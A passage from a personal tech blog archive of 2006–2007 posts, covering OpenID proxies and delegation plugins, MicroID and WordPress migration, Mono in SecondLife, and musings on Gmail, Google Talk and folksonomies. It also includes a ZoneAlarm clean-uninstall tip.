OpenID developer tons of work. All I can say is “Hip hip Hurray” to the fine folks at JanRain on yet another fine OpenID piece of software. --- ## idproxy.net and OpenIDBridge.com or I’m late, again! Published: 2007-01-28 Tags: bbauth, idproxy, idproxy.net, OpenID, openidbridge.com, Yahoo I just read Simon Willison‘s post about idproxy.net. It’s funny, I just talked about such a service in a previous post and also mentioned I’m working on the same service. I was suppose to release it a week ago but had some other issues to attend to as well as some learning curve with using JanRains’ PHP OpenID library and only manage to get it almost working yesterday. I was planning on release it this week, but since Simon already released idproxy.net I’m rethinking that :-) I guess when you snooze you loose. My approach was a little different. I wanted to lower the barrier of sign in a bit more and was thinking more in the form of a fixed user that you’ll use to sign in. For example, if my Yahoo account is someone@yahoo.com I would use the following URL to sign into an OpenID supported site: http://openidbridge.com/yahoo/someone@yahoo.com My service will simply delegate you to Yahoo and Yahoo will have to handle all the necessary phishing stuff on their own (which they actually do). I think I’ll ping Simon and have a little chat about our ideas for such a service :-) --- ## WordPress Upgrade Published: 2007-01-25 Tags: MicroID, OpenID, openid-delegate, wordpress, wordpress-2.1, wordpress-upgrade I’ve just finished upgrading this blog to WordPress 2.1. This is my first post in 2.1 and if it goes well, it will mark the succesful upgrade of this blog to the new and fine WordPress version. In the process I had the oppertunity to also verify that my MicroID Plugin for WordPress as well as my OpenID Delegation Plugin for WordPress works in version 2.1 as well as they did in WordPress 2.0.x. If you do run into problems with these plugins on WordPress 2.1 ping me. --- ## Mono hosted inside SecondLife Published: 2007-01-21 Tags: .NET, .NET-Runtime, CLR, Liden-Scripting-Language, Linden-Labs, LSL, Mono, SecondLife I just read on the official Linden Blog that they have completed an initial version of hosting Mono within SecondLife. What they have done is to compile the Linden Scripting Language (LSL) into Intermediate Language (IL) code and they automagically gain all the advantages of the .NET Runtime – Just In Time (JIT) compilation, advanced Garbage Collection and, hopefully, the ability to extend SecondLife with other .NET supported langauges (though that’s a personal wish ;-) having .NET so close to me – my Advanced .NET Debugging blog) It seems the results are promising: “The initial figures look good, with Mono executing LSL scripts between 300 and 500 times faster than the current LSL interpreter.” Mono is an open source implementation of the .NET runtime as well as a C# compiler and some of the .NET Framework stack (including stack of its own free of patents and copyrights). It’s supported on Mac OSX, Linux and Windows, which makes it ideal for SecondLife since these are the 3 major platforms it is used by. I wonder if they’ll use Mono throughout the SecondLife Viewer, or chose to use/host Microsoft’s .NET Runtime on Windows (which in some senses is far more advanced than Mono but only limited to Windows). Having SecondLife tied to .NET on Windows will require everyone to get the .NET framework, while Mono can be compiled into (or linked) and be distributed with the normal SecondLife client (though I don’t think that should be a major problem). Not having to learn yet another scripting language will greatly enhance the ability for everyone to enhance and create a better, more interesting and innovative SecondLife. That’s why it should be very important to be able to extend SecondLife without using LSL and using the full blown power of .NET and all of the .NET supported languages. I’d be more than willing to help out, if needed (or at least checked into their source repository) :-). --- ## Amazon Checkout Interface – Group to as few shipments as possible Published: 2007-01-18 Tags: Amazon, amazon-books, books, checkout, Rant, shipments I recently ordered a couple of books from Amazon. When reaching the check out screen I, obviously, selected to group my shipments to as few as possible. I then looked and saw that it was grouped into two shipments, one book should be shipped the next day and the other 4 should ship only on the 20th of March – almost two months afterwards! This was a bit strange considering the fact that Amazon showed that all books were in stock. I figured there is probably a book or two causing the delay of the whole shipment, so I switched to the “ship as soon as the books are available” option and saw that one book (one book alone) caused the delay of the whole shipment. I removed it (with great sorrow – it will wait for the next batch of Amazon books from my wish list), set the “group to as few shipments as possible” and everything was in one big happy shipment. I wonder what other customers who are a bit less proficient in computers would have done. I’m guessing one of 3 options: Order and not notice that it will take two months for the shipment to come Select the option to send things as soon as they are available and pay a bit more Cancel the shipment and go elsewhere Why didn’t Amazon add a check to see if the shipment will take more time than it should alert the user and tell him/her which item is the one causing the delay? It shouldn’t be that hard to check something along the lines of if (scheduledShipmentDate > DateTime.Now.AddMonths(1)) { AlertUser(); } Sometimes it’s the little things that tick me off. I’m a great fan of Amazon and it’s really the only place I can get almost any book I can think of, but sometimes a man’s got to post on his blog when a man’s got to post on his blog. --- ## Proxy OpenID Services Published: 2007-01-16 I just bumped into this post by Martin Atkins that talks about proxy OpenID services that can delegate OpenID formated requests to their respective browser based authentication identity providers. I’m actually working on such a thing that will delegate OpenID to Yahoo’s BBAuth authentication allowing anyone with a Yahoo ID (and, of course, anyone with Yahoo Email) to authenticate using OpenID. The only annoying thing is that the URL is a bit ugly. Currently, my version uses a URL structure of /users/john@yahoo.com which is a bit annoying, but should be sufficient for now. I’m hoping to get a release sometime next week. Stay tuned! --- ## WordPress Full Text Feed Published: 2007-01-14 Tags: Feeds, FireFox, FireFox-Live-Bookmarks, Full-Text-Feeds, wordpress, WordPress-Full-Text-Feeds I, as many other WordPress users, have encountered a problem with Full Text Feeds not actually showing on FireFox Live Bookmarks (the thingy that shows you the feed in a nice way) as full text, but are rather cut. It seems this is not a problem at all. This is a feature in FireFox’s Live Bookmarks which simply shortens the text only on display. If you’ll look at the page source (View -> Page Source) you’ll the see the XML file of the feed and that the tag contains the full text. It seems IE7 doesn’t do that and shows whatever it is it needs to show. Don’t be alarmed by this, your WordPress blog DOES show full text feeds. If you really want to test this, go to a full blown RSS reader and put your feed’s URL and see that it does contain the full text. --- ## Gmail integration with Google Video and/or YouTube Published: 2007-01-13 You know what would be a cool feature (and even a useful one) to Gmail? Integrating Gmail with Google Video and/or YouTube to provide video previewing of videos received as attachments. I haven’t received a video as an attachment on my Gmail for quite some time now, but I see no reason why it shouldn’t work same way as it works with previewing attached images. Gmail could convert the video on the fly to a Google Video/YouTube private film, one that is not posted on the site and is only available to the people using Gmail and allow me to preview it directly. It’s funny that Gmail gives ~3Gb of space to save stuff but I’m then stuck on downloading 5Mb of some stupid movie someone sent me just to view it, instead of getting a buffered near-real-time viewing experience, the same way I get with pictures (though pictures of a rather built-in support inside browsers, which makes the previewing if images very easy to implement and use). It will also save some bandwidth to Gmail due to the fact that the encoded stream that goes through the Flash player of Google Video or YouTube is in a lesser quality than the original movie, thus allowing most people to view it in a lesser quality (which should suffice to most people) and not download the whole 5Mb+ file. Gmail team, what say you? (or am I already suggesting a feature that is in the works…) --- ## Advanced .NET Debugging new home Published: 2007-01-12 Tags: Advanced-.NET-Debugging, Blog, Blogger-to-WordPress-relocation, New-home I just wanted to point to those who read this blog and also my other blog – Advanced .NET Debugging, that I’ve purchased the domain dotnetdebug.net and moved the blog there (dotnetdebug.com was already taken…). If you are subscribed to the Feed Burner feed of the blog you are all set, if not subscribed to it now or to the blog’s feed (which redirects automagically to the feed burner one). --- ## Another MicroID plugin for WordPress Published: 2007-01-09 Tags: MicroID, plugins, wordpress, WordPress-Plugin A reader of this blog, Nate Olson, just informed me that there is another WordPress plugin for MicroID and is written by Richard K. Miller (Thanks Nate!). Richard’s plugin adds microid on the homepage (it uses the admin’s Email for that), on each of the posts (according to the Email of the post’s creator) and on each of the comments (according to the supplied URL and Email of each of the commentators). Well… It’s a lot more than I have done :-), but I specifically didn’t want to use the Admin’s Email as the MicroID of choice for the homepage, mainly because I, for example, administer n WordPress blog for my friend. My Email is listed on the Admin, but he is the actual owner of the blog. I’m considering adding the following features: Add the ability to choose from the list of users, the user from which the MicroID of the homepage will be generated Add a MicroID to each post page by using the posting user’s Email Add a MicroID to each comment by using the commentator’s Email and the current page’s URL (including the anchor to the comment). Note that the commentator must provide the Email. Enabling and disabling each one of these features from the configuration. The benefits of adding a MicroID to each post page is that if you have a blog with multiple contributors, each will be able to claim their own post by using a service like claimID. Having a MicroID on a comment will allow a user to claim the comment, which I know some people might want to do. Do you think when creating a MicroID on comments, should the user have differnet MicroIDs on each comment, allowing the user to claim a specific post, or should the user have only one MicroID for all of the user’s comment? What do you think? Do you have any other suggestion as to what to add? --- ## OpenID Delegate Plugin for WordPress Published: 2007-01-08 Tags: Blog, Blogging, delegation, Identity, OpenID, openid-delegation, plugin, wordpress, WordPress-Plugin Continuing my WordPress plugin frenzy and after release the MicroID WordPress plugin, I’m releasing another plugin, this time for OpenID delegation. The plugin is named “OpenID Delegate” and you can read all the details and download it from here. Q: So what’s this OpenID I’ve been hearing about? A: According to OpenID.net: OpenID is an open, decentralized, free framework for user-centric digital identity. OpenID starts with the concept that anyone can identify themselves on the Internet the same way websites do-with a URI (also called a URL or web address). Since URIs are at the very core of Web architecture, they provide a solid foundation for user-centric identity. What does it mean? Well, basically it means that if you have an OpenID account on an OpenID server and you are accessing an OpenID supported site (see the list of them here) you can use a special URI that your OpenID provider provides you and the password you have chosen to sign-up (and afterwards sign-in) to these sites. That’s right. You’ll use the same URI and password to sign-in and up for all OpenID supported sites. This is also referred to in the enterprise (and the rest of the world) as Single Sign On or SSO for short. Q: “So, what’s your OpenID Delegate plugin got to do with it?” A: It’s quite simple. Assuming you run your own WordPress blog, wouldn’t it be cool to use your blog’s URL and the password provided by your OpenID provider as your URI of choice for signing in and up to OpenID supported sites? Yes it will! Q: “But you could have just modified your theme and added the necessary meta tags…” A: Yeap, I know could, but it’s much easier having it as a plugin, allowing me to replace themes without remembering that I’ve added these values to the head tag. Q: “Where do I get an OpenID account?” A: Well… you have a couple of ways. First, you might already have an OpenID account if you have an account at either WikiTravel, LiveJournal, DeadJournal, Zooomr, Technorati, etc (see the rest of the list here. Not all of these sites are OpenID providers though). If you don’t have an account you can open a free one at myOpenID – a free OpenID provider. The 3rd option you’ve got is to run your own server (not for the faint hearted). It’s time to own your identity, but if you can’t really own it (i.e. run your own server) at least delegate it and make others think you do! --- ## MicroID Plugin for WordPress Published: 2007-01-06 Tags: MicroID, plugins, wordpress, WordPress-Plugin MicroID as the web site says is: MicroID is a lightweight identity layer for the web, invented by Jeremie Miller (creator of Jabber). MicroID enables anyone to claim verifiable ownership over content hosted anywhere on the web (social networking sites, discussion forums, blogs, etc.). MicroID is not an authentication or single-sign-on service, just a straightforward method for identifying content ownership that complements existing technologies such as OpenID and microformats. The technology is radically simple and enables developers to build new and unique meta services with minimal effort. So after all of this technical mambo-jambo, what can MicroID do for you? MicroID for you, minus techno mambo-jamo MicroID enables you to claim content that you have produced. In most new web sites of the “current” age of the Internet YOU, the user, creates the content. Since we all have multiple identities and multiple user names in different web sites, would it be great to have one trusted and verifiable way of saying that this and that content from this and that site is really something we have created? There are services such as claimID which provides you with a way of claiming what’s yours. The perks So, where does this plugin comes in? If you have your own WordPress blog and you want to add MicroID to it without the hassle of editing PHP files and dealing with HTML – this plugin is for you. If you like to switch your themes oh so often – this plugin is for you. If you would like to claim your content and show everyone the stuff you really want to show them and be proud of creating – this plugin is for you. So, how do I get it? You can get the plugin and instructions on how to install it and configure it (which is dead simple) by clicking here! If you have have comments, ideas, thoughts or anything else, don’t hesitate to leave a comment on this post. --- ## Migrating from Blogger Beta (or the new version of Blogger) to WordPress Published: 2007-01-06 Tags: Blog, blogger, blogger-beta, blogger-migration, Blogging, wordpress When I started to think about migrating from Blogger to my own WordPress blog running on my own server I started to look at migration options. It seems that since I already migrated to the new blogger system (which is out of beta now), the current import options from Blogger available in the latest WordPress installation (2.0.5 when I was installing it ;-) ) didn’t work anymore. The default blogger import can fail in two points: It fails to authenticate using the new Blogger authentication – Google Accounts (like the authentication for Gmail, Google Reader, etc) If you upgraded to the new templating scheme, I think it would be hard to use the current blogger importer which tell you to use a specific template format that it will know how to read and import I didn’t have problem #2 since I didn’t upgrade to the new templating scheme, but I couldn’t authenticate and that’s why it didn’t work. I searched around and found this script to migrate from Blogger Beta (also good for the new blogger which is now not in beta) written by Ady Romantika. It’s currently in version 0.3 and doesn’t require you to publish your blog into some FTP (or SFTP) site. Instead, you need to enable full feeds on your blog and comments and it will utilize that to get all the information. The only thing it will have a bit of problems with is with importing images. Luckily I didn’t have much, so it wasn’t that big of a deal. It also allows you to edit the Email and web site address of people who commented on your blog, making it a very clean and useful import that will give you all of your content as if you were always on blogger. I’d like to thank Ady on a great script. I do hope it will be taken into the default WordPress installation help other Blogger users to migrate. --- ## Eurekamp Published: 2007-01-05 Tags: Eurekamp, Eurekamp2007, Identity, MicroID, OpenID, Trust I’m blogging directly from Eurekamp where I’ll start a presentation and discussion about Trust and Identity online. I’ll try to cover topics such as why do I need, how to do it (OpenID, OpenID, OpenID) how to claim what is content that was generated by me (MicroID, MicroID, MicroID). I’ll post some of the slides here after we will finish. The slides will be a bit not organized, mainly because they are markers to the point in the presentation/discussion and does not represent a standard presentation. --- ## Out with the old (erans.blogspot.com) in with the new (eran.sandler.co.il) Published: 2007-01-04 Tags: Blog, blog-relocation, blogger, eran.sandler.co.il, relocation I’ve roughly completed my transfer of “Another blog bites the dust” from Blogger to http://eran.sandler.co.il. If you are subscribed to my feed burner feed it should redirect automagically. If you are not, it’s a good time to subscribe to it :-). Since this is my own WordPress blog there is now also a total comments feed located here. Hopefully this new place will allow we to better experiment with stuff and essentially be the master of my own destiny/blog. This also means that this the layout, design and plugins currently on this blog are far form complete, so you’ll see some changes in the coming weeks. Stay tuned! --- ## Moving on up to my side Published: 2007-01-03 While Blogger is a great platform, I’ve decided that this blog of mine, which suffered a bit from neglect as opposed to its technical brother, will be transfered to its own respectful domain. It will allow we to experiment more with plugins and all kinds of funky stuff and all in all will give me greater control over what I want to do, how I want to do it and so on. The transfer will take a couple of days and at the end I will keep this blog alive with all of its content until I’m satisfied with the transfer (hopefully all posts and comments will be migrated as well without too many problems), at which point I’ll just leave a post giving you the new address. If you’ll see some funky stuff in this blog while I’m trying to transfer this blog, don’t be frightened and come back later to get the new address. Wish me luck! Oh, and please don’t comment from now on until the new blog is up so I won’t lose any of the comments in the transfer. Thanks for your cooperation! --- ## OpenID Sign In/Up Processes on OpenID supported sites Published: 2006-12-30 Tags: distributed-identity, Identity, OpenID Most sites today distinguish between the process of Signing Up – the user wants to register to the site/service and does not have a previous account (or wishes to create another account), and the process of Signing In – the user wishes to identify himself/herself with an already existing account on the site/service. Whenever I reach a site that support OpenID I always try to see what is the process of sign-in/up with OpenID to the site/service. I keep on seeing two distinct ways that are common in such sites/services (at least in the sites that I’ve visited). The first, is to separate the OpenID handling to a different page. In that page the process of sign-in/up is actually the same. If this is your first time of signing in with your OpenID it will actually transform itself to a sign-up process and may ask you a couple of questions and may interact with your OpenID provider. The second, OpenID is integrated only in the Sign-In screen. If you sign in with an OpenID for the first time you will actually get a sign-up process and you may be asked a few questions and have an interaction with your OpenID provider. OpenID is still a bit confusing to most people and when sites/services that do decide on doing the right thing and support OpenID, sometimes, add additional complexity with either hiding the OpenID sign-in/up location or not showing it in the right places that users may go to since they are already familiar with the Sign In/Up paradigm. I know that some of the considerations for some of these sites/services is to have OpenID support for those who actually knows about it and uses it, which they know they will search and find it eventually. On the other hand, they don’t want to scare off normal users that don’t know (yet, hopefully) or care about OpenID with this technical mambo-jambo. The best place, of course, is to have OpenID in both the Sign-In and Up screens, if a user that do have an OpenID reaches any one of these screen the scenario of signing in for the first time (or not for the first time) will work no matter when he is. It can also be a separate screen but accessible from the sign-in and up screens and clearly indicated that if you have an OpenID account go here (with explanation of what is OpenID, of course). I still think that we can find a balance between these considerations and still have a clean use-case of signing in and up with and without OpenID without breaking existing paradigms. What do you think? How would use design these processes that will still fit to your site/service and still support in a clear and obvious way OpenID? --- ## Identity and Identity Relationships Published: 2006-12-27 Tags: distributed-identity, Identity, identity-relationships, OpenID I just read this post by Kaliya and it got me thinking about Identity relationships. I think Kaliya is right that the connection between identity and relationships between identities (a.k.a. Social Networks) is a hot topic which will probably get some answers in 2007 (hopefully even good ones). What if we could have relationships between identities (between OpenID identities, for example)? We could store them as part of our identity (I’m sure we can think of a creative use of XFN and identities like OpenID since it is also a distributed way of showing relationships between people) and “take our friends with us” to other sites that we sign up, eliminating the need to manually re-enter and “drag” our friends to every hot new social networking site. Of course, we don’t want to add all of our friends to every social network site we sign up to, so we should be able to choose which ones we will “import”, the same way we can choose which fields of our persona that our OpenID server shares with the site we are registering to. The major question here is if specifications such as OpenID should contain relationships between identities. Should it be an integral part of OpenID, should it be an extension of it? I don’t really know yet. I guess I should dig deeper into the OpenID specifications and see if there is room for such a thing and if there are further discussions that are leaning towards such an approach. I guess time will tell, hopefully circa 2007… --- ## Completely removing ZoneAlarm Published: 2006-12-25 Tags: tip, trick, Uninstall, ZoneAlarm I use ZoneAlarm Security Suite on my laptop (yes, it’s running Windows…) since its a cheap and nice complete suite that has a firewall, an anti-virus and anti-spyware software plus a lot of other stuff I rarely use (IM Security and the likes). I have it for about a year and a couple of months and I saw in the support forums that there is a beta release of version 7.0. Since I have a couple of standing issues with ZoneAlarm Security Suite, mainly its pro-active anti virus that keeps on hogging the machine at boot time and another problem with Cygwin (it’s a known issue) I thought I’d give it a try. It worked relatively well, but it had more than a few major issues (one of which is that it started to say the beta has expired – also a known issue). I’ve decided to go back to my 6.5.x version. At this point I started to really get pissed off. It seems that a normal uninstall of ZoneAlarm Security Suite will not uninstall the license and since the beta require a special beta license my 6.5.x version didn’t work and said it has expired and wouldn’t let me put my previous valid serial number. After digging in the forums a bit more it seems there is a secret key for doing that just. If you add two parameters to the uninstall executable it will clear the license information. Just run this from the command line or “Start -> Run” (don’t forget to change that path if you installed it to a different location): “C:\Program Files\Zone Labs\ZoneAlarm\zauninst.exe” /clean /rmlicense That is the magic line that will fix all of your problems. Now I know they don’t want people partying on their 15-days evaluation of the full Security Suite but there is no reason that I will have to dig to find out how to cleanly uninstall it. What about other people who are less technology oriented than me? I would expect, like in any uninstall program, that the nice people at ZoneLabs will not leave any trace of there program including my license information. Don’t leave crap on my machine if it’s not really necessary. --- ## Recursive Definitions Published: 2006-12-19 Tags: enterpenurship, Ideas, startups, vc, venture-capital If you have a cool new startup that is going to launch and all you have to say about it to better describe it is “It’s Flickr+YouTube+Riya+[Enter a cool new startup with cool technology or hype here]” something is wrong with your pitch. If you can’t describe your startup in layman’s terms without using the name of your competitors (or, in this case, the war casualties after you kill them all and win the internet web 2.0 war) you should really start to think twice about what you are actually doing. I keep on seeing a lot of pitches on the web in the form of cover stories on high profile blogs that companies CEOs and founders keep on using some kind of a recursive definition – defining their own company by using the name of another company (or companies). This recursiveness needs to stop otherwise there will be only one true definition for a company and everyone else will build their pitch on that definition and the definitions that are built upon it. I know it is sometimes very hard to describe a cool new idea, especially if it is technically oriented and you need to explain it to a non-techie person. Being able to actually do that will give you a couple of interesting things. First, it will allow you to better articulate yourself for non-techies, potentially (depending on your idea) drawing them closer to the understanding you have of your ideas. This is good for startups that are web based and needs non-techie crowds to succeed. Second, it will give you a better understanding of how you need to your idea. Every question or misunderstand a non-techie will have with your description is a potential for better understanding your audience and, therefore, improving your idea/company/product. What do you think? Is it really that important or I just got pissed on seeing yet another pitch that is recursively described? --- ## Folksonomies, Taxonomies and Coexistence Published: 2006-11-20 Tags: Coexistance, Folksonomies, Folksonomy, Metadata, Taxonomies, Taxonomy I have read “Beneath the Metadata” as well as its reply by Dave Weinberger. I’ve also read Thomas Vander Wal’s response. I personally think that folksonomies are not here to replace taxonomies. If Elaine fears the use of folksonomy for classifying Electronic Theses and Dissertations (ETDs), she should not. Folksonomies will (probably) never completely replace taxonomies since the science, understanding, principles and experience behind classifying items into a taxonomy are very extensive and cannot be overlooked. The fact remains that it is hard to build a good taxonomy tree and it is even harder to classify a certain item in a single place in the taxonomy (according to the rules Elaine discusses in Beneath the Metadata – “A is not B”, etc). Knowing when to create new sibling taxonomy nodes or split an existing taxonomy node is a very hard decision and even a trained and experienced cataloger that can find an answer to these decisions might not have the absolute one according to another cataloger’s opinion. Dave says “Folksonomies exist�even terminologically�in distinction from traditional cataloging structures” and that is the key point in handling folksonomies. Folksonomies are easier to use for a lot of people. By applying the way we think and search for information to various items we will, to a great extent, be able to retrieve this information very easily and intuitively. While folksonomies have their drawbacks, pointed out by both Elaine and Dave, which includes spelling and grammar mistakes, the use of plural and singular forms as well various techniques to use multiple words tags, there are ways (which I hope to cover in a future post) on how to deal with these issues, which are mainly an implementation drawback. In my opinion, these implementation details should not be taken into the philosophical/ideological discussion, though they should be addressed in some form. Folksonomies are not here to replace taxonomies, since there is an added value in cataloging items in a taxonomy, it gives the items a sense of location in the world. Seeing the taxonomy term “homo sapiens sapiens” not only tells me what this item is, but it also tell me its location in the biological taxonomy of species. Since objectivity, rules and some logic is used to build taxonomies and assign items to taxonomy nodes, these rules and objectivity can make it very hard for others to find things in the taxonomy (which is mainly, in my opinion, a function of the tree structure of the taxonomy – when it gets very wide and very deep it will be very hard to find anything at all without having to understand the logic of the taxonomy as well as its basic structure and design decisions). Perhaps, as Elaine fears, using folksonomy for ETD sites instead of proper taxonomy is not the best solution since we will be loosing valuable information about the location of a certain ETD in the world of ETDs, but having both folksonomy and taxonomy together can and will improve both the lives of the users of the site as well as help the cataloger of the taxonomy and the taxonomy itself richer. The users will be able to quickly tag and find items without prior knowledge of the structure of the taxonomy and without getting lost in it. Given enough users that will tag items that are in the taxonomy (or even outside the taxonomy) and by using clustering techniques, similar to what is being used on sites like Flickr, catalogers will be able to better understand where people think various items should be placed in the taxonomy and may include this data into their decision of cataloging a certain item in a certain place in the taxonomy. I do understand Elaine’s claim that by using folksonomy only in academic sites we will lose, to some extent, the unbiased and objective thought that catalogers tries to use while cataloging items and building taxonomies, but having both will help us enjoy both of these worlds as well as enrich one another. People will tag items and find them quickly. Cataloger will be able to see the clusters form around various subjects. By then, people reaching certain items using folksonomy and tags will be able to see how the cataloger cataloged the item they were looking for and slowing and incrementally they will learn the structure of the taxonomy as well as the logic and rules behind it that the cataloger used. There are various ways and techniques to catalog thing. Folksonomies are considered a valid cataloging technique with its own drawbacks and advantages (implementation details outside, of course). When people decide to use a taxonomy or a folksonomy or both at the same time, they need to understand the implications as well as the actual and accurate need that requires this use to provide with the best solution to both the users and to the knowledge of the world. That’s my 2 cents on the subject. What do you think on folksonomies and taxonomies? Do you think they can co-exist? Do you think one is better than the other? --- ## Thou Shall Create a Widget for All to See Published: 2006-09-13 Tags: AskBox, FAQ, Widgets, Yedda, Yedda-Widgets At my day job (Yedda, if you dont already know) we just introduced a whole bunch of new features. Some of the new features includes these cool Widgets that you see on the left side of this blog which allows you to interact with Yedda. The first widget is the AskBox widget – it allows you and your readers to post questions directly from your blog or Web site into Yedda. Each posted question will contain a link back to your blog or Web site stating that this question was posted from your blog or Web site. The second widget is a FAQ (Frequently Asked Questions) widget – You specify topics that you wish to view in your widget and when placed on your blog or Web site you’ll see a list of these questions. If you have your own blog or Web site go to the Yedda Widgets page, create a widget and place it on your blog or Web Site. --- ## An idea to better promote Google Talk in a corporate envrionment Published: 2006-08-30 Tags: Google Talk, GTalk, Jabber, Skype-eBay, XMPP I just read this post about the deal that eBay and Google signed which will also allow Google Talk and Skype to interoperate and possibly be able to communicate even via chats. It them folloed by an enlightened moment (Ka ching!) where I thought of an idea that Google can use to deepen Google Talk`s penetration in the corporate environment. Google Talk is based on the solid and open standards of XMPP (Jabber). One of the advantages of the Jabber protocol is its locality. All chats performed in the same server stays on that server and will not take the long walk to some company`s chat server somewhere on the Internet (which is what happens with MSN Messenger, for example). The main advantage of this for corporates is that all corporate talks all remain in the corporate`s network and servers and will never go out of the it (an IT manager`s dream ;-) ). What some corporates do is deploy yet another IM service inside their corporate and what the users end up are a couple of IM software instances, one for corporate and one for the rest of the user`s chats (which is suppose to be only private chats, but usually end up with some business and work relates chats). There are two major ideas I had that can be easily implemented in Google Talk to achieve this: Have Google Talk support an additional Jabber account. That account will be connected to a local corporate Jabber server (there are a lot of them). The Google Talk client will handle these two account separately and will send messages to contacts of the local corporate through the corporate account and not through Google Talk`s servers. Have Google release their Google Talk server as a corporate product. Certain Google Talk users will be marked as corporate users and all communication with them will be sent through the locally installed Google Talk server. There are pros and cons for both approaches. Approach #1 is easier to implement and will not require a lot of work on Google`s part to release their server as a product. The disadvantages are that the voice features of Google Talk might not be available and that people will still have 2 different contacts, corporate and non corporate. Approach #2 is harder for Google to implement but brings a couple of interesting advantages, the first being that Google Talk voice abilities will probably work just fine. Corporate will not need to configure anything, it will all come in a box from Google (like their search appliance). Both approaches are based on a Jabber server which can have gateways installed to all the different other protocols (including Yahoo, ICQ and MSN) which can make things a lot easier for corporate users. They will have one client that gives most of the features to all other clients and still be able to securely communicate with their corporate peers. What do you think? Is Google going to do such a thing? --- ## OMTC (Oh My TechCrunch) Published: 2006-08-14 Tags: Answers, OhMyTechCrunch, OMTC, Q&A, Questions, TechCrunch, Yedda-Knowledge It seems that Mike of TechCrunch fame posted about Yedda. If you don’t know what Yedda is (and you should after reading Mike’s post) just go and sign up :-) Did I say why it was quiet here for quite a while? oh yes I did ;-) --- ## Yedda and me or why didn’t I post here lately Published: 2006-08-14 Tags: Answers, Eran, Knowlege, Q&A, Questions, Social-Software, Yedda As I’ve mentioned previously, I’ve been very busy with Yedda and it is the main reason why it’s been very quite here. But now, you can check out my Profile at Yedda as well as see questions I’ve answered and questions I’ve asked. And as Yaniv pointed out, this is also a test question. I’m not really into baking and stuff… Technorati : Answers, Eran, Knowledge, Questions, Social Software, Yedda Del.icio.us : Answers, Eran, Knowledge, Questions, Social Software, Yedda Ice Rocket : Answers, Eran, Knowledge, Questions, Social Software, Yedda --- ## So you did see my Email! Published: 2006-07-06 Tags: Gmail, Google Talk, GTalk, IM, IM-Integration, Instant Messaging A while back Google added a feature to Gmail so that you can see which of your friends is online and chat with them. While this might look cool there is another side to this story, people can actually see when you are reading your Emails on your Gmail account. I, for example, use GAIM as my main IM client and since Google Talk (GTalk) uses Jabber as its underlying protocol, it means that every Jabber supported client can connect to GTalk. Jabber has built in support to show your status and the client you are using and most Jabber clients (besides GTalk) allow you to see this text. Google Talk’s integration within Gmail is implemented in such a way that Gmail is converted into a Jabber client. The engineers at Google Talk used the client text and it clearly shows “gmail” in it (as opposed to Talk.vXXXX that is shown for GTalk clients). Since the option for having the Chat integration is turned by default, if you use a client that is different than GTalk (like GAIM) one can see exactly when his/her friend is inside Gmail. What do you do when you are in Gmail? Probably reading (or at least seeing) Emails. A bit annoying isn’t it? I don’t want anyone to know when I’m actually logging into my Gmail account and read/see my Emails. Luckily you can turn this off. There is an option at the end of the page after you login into Gmail that says “Gmail view:”. In there you can select “standard without chat” which will turn off the GTalk integration. --- ## Own your authentication! Published: 2006-06-29 Tags: Authentication, Liberty-Alliance, OpenID, Passport, Web, Web-2.0, Web-Authentication, Windows-Live-ID After Passport Windows Live ID and the Liberty Alliance Project now comes Google Account Authentication, which opens up the ability to use anyone’s Google Account to perform authentication to a system. What surprises me in this whole deal is that it seems we are going backwards, back to a “one authentication to rule them all” idea that Microsoft tried to introduce with Passport (errr) Windows Live ID which, as you know, didn’t go quite where they wanted it to be. After the whole Web 2.0 buzz and “User Generated Content”, A.K.A the forbidden word, where users are now the masters of their own content, why can’t they be the masters of their own identity/authentication? OpenID I’ve lately been tracking the OpenID initiative which tries to create a REAL distributed identity system which actually fits into the Web 2.0 world. While OpenID’s spec is still a bit rough on the edges (the loop for verifying which authentication servers are authorized, live and not spoofed is not closed) it does seem to provide the right think in the right direction. The benefits of owning your own identity Owning your own identity has a number of interesting affects. The first and foremost is that it is yours and you can store it wherever YOU think is save and good for you. This can be a server you own/rent. This can be a general repository, but one that you want to use and not one being forced down your throat (the centralized authorities that are usually controlled by large software corporations). The second effect is that your identity is persistent. Since you control where it is stored and how it looks (according to the OpenID specs, of course) it is persistent across services (providing they support OpenID) and across identity providers (remember, you choose where to store your identity). Hoping for a better authentication future I would really like to see (perhaps I can even contribute) OpenID’s spec closing the loop on authenticating OpenID servers (or at least preparing a procedure for that) and starting to get adopted more rapidly across sites cause I’m really tired of having multiple identities just because various sites don’t talk to each other. Even if the big player – Windows Live ID, Liberty Alliance Project and Google Account Authentication would support the OpenID specification, the wold of authentication would get a step closer to actually becoming useful. --- ## Google openning a second research center in Israel Published: 2006-04-27 Tags: Google, Google-R&D, Google-R&D-Haifa, Google-R&D-Tel-Aviv, Microsoft, R&D, Research-Center, Yahoo According to this, Google is opening an R&D center in Israel in the Tel Aviv area. This is the second center, the first one opened in Haifa. Microsoft has a research center in Haifa from 1991 and it was published in the Israeli press (sorry, I couldn’t find an English reference for this) that they are planning to open another research center in the Tel Aviv area. The only company now from the big GYM (Google, Yahoo, Microsoft) that doesn’t have an R&D presence here in Israel is Yahoo. What are they waiting for? Perhaps they don’t view Israel as an important part of their R&D strategy (unlike Microsoft and Google). --- ## Google Ctemplate Published: 2006-04-26 Tags: Ctemplate, ECMAScript, Google, Google-Ctemplate, JavaScript, Open-Source I just saw that Google released the Google Ctemplate library. While they do need to get some kudos for their efforts of releasing various code bits out as open source, I do have a problem with the Ctemplate library itself. I don’t know when they wrote this library, but what I do know is that its yet another templating language to use. Why couldn’t they have used a standard language such as JavaScript (more exactly, ECMAScript) instead of inventing their own syntax? There are so many templating engines out there, why invent yet another one instead of trying to use an official syntax know by many? Oh well, another templating engine bites the dust ;-) --- ## Zoundry Blog Writer – a new version Published: 2006-04-25 Tags: Blog-Editor, Blog-Writer, Tools, Zoundry Zoundry released a new version of their Blog Writer product. Some of the more prominent features added (which a lot of users including me asked for) are: XHTML Editor – You can now see and edit the generated XHTML Spell Checker – No more copying and pasting stuff to another spell checker :-) Check out the full feature list and download. I’ve been using Zoundry for the past 6 months as my primary posting tool for this blog as well as my Advanced .NET Debugging blog and it has been really helpful. With the new features now released it is now a kick ass blog writer. --- ## The feed reader of my dreams Published: 2006-04-25 Tags: Atom, Feed, Feed-Service, Rant, RSS, RSS-Bandit, Server-Side-Feed-Reader I’m what you may call a medium to heavy feed junkie. I read most of the information today using my favorite feed reader RSS Bandit. While RSS Bandit is a great feed reader it does have its limitations. The biggest one being that its a client side application and it doesn’t sync to one of the server side readers. I sometimes want to read my feeds at home, sometimes at work or sometimes when I don’t have a computer with me and I just want to login in some Internet cafe and be able to continue reading where I left off. I 